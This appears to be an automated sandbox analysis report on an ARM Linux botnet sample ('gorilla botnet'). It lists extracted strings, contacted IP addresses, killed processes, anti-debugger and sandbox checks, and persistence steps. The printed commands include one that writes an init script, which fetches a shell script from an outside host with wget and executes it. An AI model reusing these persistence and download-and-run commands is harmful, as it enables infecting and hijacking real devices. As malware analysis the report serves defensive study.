Source: arm.nn.elf |
ReversingLabs: Detection: 57% |
Source: arm.nn.elf |
String: Found And Killed Process: PID=%d, Realpath=%s7815351681972surf2/proc/self/exe/proc/%s/exe/.(deleted)/fd/socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencodersystem/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt487154914:1553<41<515791446<614561;814994;8153;148;14<5which gdb > /dev/null 2>&1Debugger (gdb) detected. Exiting. gorilla botnet didnt like this honeypot....which lldb > /dev/null 2>&1Debugger (lldb) detected. Exiting. gorilla botnet didnt like this honeypot....which dtrace > /dev/null 2>&1Debugger (dtrace) detected. Exiting. gorilla botnet didnt like this honeypot....which truss > /dev/null 2>&1Debugger (truss) detected. Exiting. gorilla botnet didnt like this honeypot....which ptrace > /dev/null 2>&1Debugger (ptrace) detected. Exiting. gorilla botnet didnt like this honeypot....LD_PRELOADSandbox detected (LD_PRELOAD). Exiting. gorilla botnet didnt like this honeypot....LD_LIBRARY_PATHSandbox detected (LD_LIBRARY_PATH). Exiting. gorilla botnet didnt like this honeypot....LD_AUDITSandbox detected (LD_AUDIT). Exiting. gorilla botnet didnt like this honeypot..../proc/proc filesystem not found. Exiting. gorilla botnet didnt like this honeypot..../etc/motdw%s |
Source: global traffic |
TCP traffic: 91.92.246.113 ports 38241,1,2,3,4,8 |
Source: global traffic |
TCP traffic: 93.123.85.166 ports 38241,1,2,3,4,8 |
Source: global traffic |
TCP traffic: 154.216.17.220 ports 38241,1,2,3,4,8 |
Source: global traffic |
TCP traffic: 192.168.2.23:56026 -> 45.202.35.64:199 |
Source: global traffic |
TCP traffic: 192.168.2.23:47388 -> 154.216.17.220:38241 |
Source: global traffic |
TCP traffic: 192.168.2.23:34964 -> 91.92.246.113:38241 |
Source: global traffic |
TCP traffic: 192.168.2.23:58176 -> 93.123.85.166:38241 |
Source: /tmp/arm.nn.elf (PID: 6230) |
Socket: 0.0.0.0:38241 |
Jump to behavior |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 54.171.230.55 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 54.171.230.55 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 45.202.35.64 |
Source: profile.12.dr, arm.nn.elf.38.dr, inittab.12.dr, bootcmd.12.dr, mybinary.12.dr, custom.service.12.dr |
String found in binary or memory: http://pen.gorillafirewall.su/ |
Source: unknown |
Network traffic detected: HTTP traffic on port 443 -> 33606 |
Source: unknown |
Network traffic detected: HTTP traffic on port 33606 -> 443 |
Source: unknown |
Network traffic detected: HTTP traffic on port 43928 -> 443 |
Source: unknown |
Network traffic detected: HTTP traffic on port 42836 -> 443 |
Source: Initial sample |
String containing 'busybox' found: /bin/busybox |
Source: Initial sample |
String containing 'busybox' found: Found And Killed Process: PID=%d, Realpath=%s7815351681972surf2/proc/self/exe/proc/%s/exe/.(deleted)/fd/socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencodersystem/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt487154914:1553<41<515791446<6145 |
Source: ELF static info symbol of initial sample |
.symtab present: no |
Source: /tmp/arm.nn.elf (PID: 6232) |
SIGKILL sent: pid: 788, result: successful |
Jump to behavior |
Source: /tmp/arm.nn.elf (PID: 6232) |
SIGKILL sent: pid: 884, result: successful |
Jump to behavior |
Source: /tmp/arm.nn.elf (PID: 6232) |
SIGKILL sent: pid: 1664, result: successful |
Jump to behavior |
Source: /tmp/arm.nn.elf (PID: 6232) |
SIGKILL sent: pid: 2096, result: successful |
Jump to behavior |
Source: /tmp/arm.nn.elf (PID: 6232) |
SIGKILL sent: pid: 2102, result: successful |
Jump to behavior |
Source: /tmp/arm.nn.elf (PID: 6232) |
SIGKILL sent: pid: 4430, result: successful |
Jump to behavior |
Source: /tmp/arm.nn.elf (PID: 6232) |
SIGKILL sent: pid: 6237, result: successful |
Jump to behavior |
Source: /tmp/arm.nn.elf (PID: 6232) |
SIGKILL sent: pid: 6265, result: successful |
Jump to behavior |
Source: /tmp/arm.nn.elf (PID: 6232) |
SIGKILL sent: pid: 6290, result: successful |
Jump to behavior |
Source: classification engine |
Classification label: mal84.spre.troj.evad.linELF@0/11@0/0 |
Source: /tmp/arm.nn.elf (PID: 6230) |
File: /etc/profile |
Jump to behavior |
Source: /tmp/arm.nn.elf (PID: 6230) |
File: /etc/rc.local |
Jump to behavior |
Source: /usr/bin/ln (PID: 6275) |
File: /etc/rcS.d/S99mybinary -> /etc/init.d/mybinary |
Jump to behavior |
Source: /usr/bin/ln (PID: 6286) |
File: /etc/rc.d/S99arm.nn.elf -> /etc/init.d/arm.nn.elf |
Jump to behavior |
Source: /tmp/arm.nn.elf (PID: 6230) |
File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) |
Jump to behavior |
Source: /usr/bin/chmod (PID: 6272) |
File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx) |
Jump to behavior |
Source: /usr/bin/chmod (PID: 6280) |
File: /etc/init.d/arm.nn.elf (bits: - usr: rx grp: rx all: rwx) |
Jump to behavior |
Source: /tmp/arm.nn.elf (PID: 6234) |
Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" |
Jump to behavior |
Source: /tmp/arm.nn.elf (PID: 6266) |
Shell command executed: sh -c "chmod +x /etc/init.d/mybinary >/dev/null 2>&1" |
Jump to behavior |
Source: /tmp/arm.nn.elf (PID: 6273) |
Shell command executed: sh -c "ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary >/dev/null 2>&1" |
Jump to behavior |
Source: /tmp/arm.nn.elf (PID: 6276) |
Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/arm.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting arm.nn.elf'\n /tmp/arm.nn.elf &\n wget http://pen.gorillafirewall.su/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping arm.nn.elf'\n killall arm.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/arm.nn.elf" |
Jump to behavior |
Source: /tmp/arm.nn.elf (PID: 6278) |
Shell command executed: sh -c "chmod +x /etc/init.d/arm.nn.elf >/dev/null 2>&1" |
Jump to behavior |
Source: /tmp/arm.nn.elf (PID: 6281) |
Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" |
Jump to behavior |
Source: /tmp/arm.nn.elf (PID: 6284) |
Shell command executed: sh -c "ln -s /etc/init.d/arm.nn.elf /etc/rc.d/S99arm.nn.elf >/dev/null 2>&1" |
Jump to behavior |
Source: /bin/sh (PID: 6272) |
Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/mybinary |
Jump to behavior |
Source: /bin/sh (PID: 6280) |
Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/arm.nn.elf |
Jump to behavior |
Source: /bin/sh (PID: 6283) |
Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d |
Jump to behavior |
Source: /usr/bin/dash (PID: 6240) |
Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.npMgjmkGVj /tmp/tmp.ikGaQDK0rl /tmp/tmp.OeS2BRGJNg |
Jump to behavior |
Source: /usr/bin/dash (PID: 6241) |
Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.npMgjmkGVj /tmp/tmp.ikGaQDK0rl /tmp/tmp.OeS2BRGJNg |
Jump to behavior |
Source: /bin/sh (PID: 6236) |
Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service |
Jump to behavior |
Source: /tmp/arm.nn.elf (PID: 6230) |
File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) |
Jump to behavior |
Source: /usr/bin/chmod (PID: 6272) |
File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx) |
Jump to behavior |
Source: /usr/bin/chmod (PID: 6280) |
File: /etc/init.d/arm.nn.elf (bits: - usr: rx grp: rx all: rwx) |
Jump to behavior |
Source: /tmp/arm.nn.elf (PID: 6230) |
Writes shell script file to disk with an unusual file extension: /etc/init.d/mybinary |
Jump to dropped file |
Source: /tmp/arm.nn.elf (PID: 6230) |
Writes shell script file to disk with an unusual file extension: /etc/rc.local |
Jump to dropped file |
Source: /bin/sh (PID: 6276) |
Writes shell script file to disk with an unusual file extension: /etc/init.d/arm.nn.elf |
Jump to dropped file |
Source: /tmp/arm.nn.elf (PID: 6230) |
File: /etc/init.d/mybinary |
Jump to dropped file |
Source: /bin/sh (PID: 6276) |
File: /etc/init.d/arm.nn.elf |
Jump to dropped file |
Source: /tmp/arm.nn.elf (PID: 6230) |
Queries kernel information via 'uname': |
Jump to behavior |
Source: arm.nn.elf, 6230.1.00007fff408c5000.00007fff408e6000.rw-.sdmp |
Binary or memory string: /tmp/qemu-open.Z2reag |
Source: arm.nn.elf, 6230.1.00007fff408c5000.00007fff408e6000.rw-.sdmp |
Binary or memory string: 'Vqemu: uncaught target signal 11 (Segmentation fault) - core dumped |
Source: arm.nn.elf, 6230.1.00007fff408c5000.00007fff408e6000.rw-.sdmp |
Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm.nn.elf |
Source: arm.nn.elf, 6230.1.00005627952a2000.00005627953f0000.rw-.sdmp |
Binary or memory string: 'V!/etc/qemu-binfmt/arm |
Source: arm.nn.elf, 6230.1.00005627952a2000.00005627953f0000.rw-.sdmp |
Binary or memory string: /etc/qemu-binfmt/arm |
Source: arm.nn.elf, 6230.1.00007fff408c5000.00007fff408e6000.rw-.sdmp |
Binary or memory string: /usr/bin/qemu-arm |
Source: arm.nn.elf, 6230.1.00007fff408c5000.00007fff408e6000.rw-.sdmp |
Binary or memory string: 'V/tmp/qemu-open.Z2reag |
Source: arm.nn.elf, 6230.1.00007fff408c5000.00007fff408e6000.rw-.sdmp |
Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped |
Source: Yara match |
File source: arm.nn.elf, type: SAMPLE |
Source: Yara match |
File source: 6230.1.00007f9dec017000.00007f9dec02b000.r-x.sdmp, type: MEMORY |
Source: Yara match |
File source: Process Memory Space: arm.nn.elf PID: 6230, type: MEMORYSTR |
Source: Yara match |
File source: arm.nn.elf, type: SAMPLE |
Source: Yara match |
File source: 6230.1.00007f9dec017000.00007f9dec02b000.r-x.sdmp, type: MEMORY |
Source: Yara match |
File source: Process Memory Space: arm.nn.elf PID: 6230, type: MEMORYSTR |